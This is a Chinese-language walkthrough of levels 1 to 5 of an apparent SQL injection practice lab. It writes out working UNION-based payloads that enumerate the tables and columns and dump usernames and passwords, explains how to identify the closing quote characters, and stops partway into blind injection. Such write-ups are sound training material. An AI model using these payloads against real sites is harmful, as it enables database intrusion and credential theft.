文章目录
less-1
?id=1’起手,出现报错,存在sql注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear
''1'' LIMIT 0,1'
at line 1
这里其实就能看出这是一个字符型,因为1'
后面又多出了一个单引号,这是一个单引号闭合的字符型,所以后续操作接着做就行了。
?id=1' order by 3--+ //这里要一个一个接着试,当order by 4时,会出现报错,所以列数为3
?id=-1' union select 1,2,3--+ //查看回显位,注意要用一个不存在的id,不然看不出来
?id=-1' union select 1,2,database()--+ //爆库名为security
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ //爆出security库下所有的表名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+ //爆users表中的列名
?id=-1' union select 1,2,group_concat(username,'--',password)from security.users--+ //爆数据
less-2
仍然?id=1’起手,发现报错,存在sql注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'' LIMIT 0,1'
at line 1
接着再去判断是字符型还是数字型
输入?id=1 and 1=1--+
时,页面正常回显,接着输入?id=1 and 1=2--+
时,发现页面无回显,可以判断为数字型,接着重复与第一关的步骤即可完成。
虽然后续与第一关一样,但是别偷懒,熟能生巧。
less-3
同第一关一样,报错信息中能看出是')
闭合的字符型,同样步骤不再赘述。
less-4
在输入?id=1'
后发现页面正常,然后我又接着尝试?id=1''
两个单引号,页面还是显示正常,再次尝试?id=1"
双引号,终于报错了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
'"1"") LIMIT 0,1'
at line 1
这种引号特别多的情况下,慢慢看,一层一层地将外面的单引号与自己输入的双引号删掉,然后就剩下")
了,这就是闭合符号,这是")
闭合的字符型
后续工作也和第一关一样了
less-5
?id=1’起手,发现报错,存在sql注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
''1'' LIMIT 0,1'
at line 1
这里可以看出是单引号闭合的字符型,但是这次只会显示You are in...........
所以这次应该是盲注了,其实也可以用报错注入。但为了练习盲注,还是坚持用繁琐的方法完成吧。
这里可以用时间盲注或者是布尔盲注,时间盲注可以用脚本或者burp suite完成,布尔盲注用burp suite就能完成
因为本人太久没碰python了,而且在试着用burp suite爆破的时候,正确返回包大小不同而且还分布在中间没法直接看出来,不知道问题出在哪里,所以就演示手工注入了<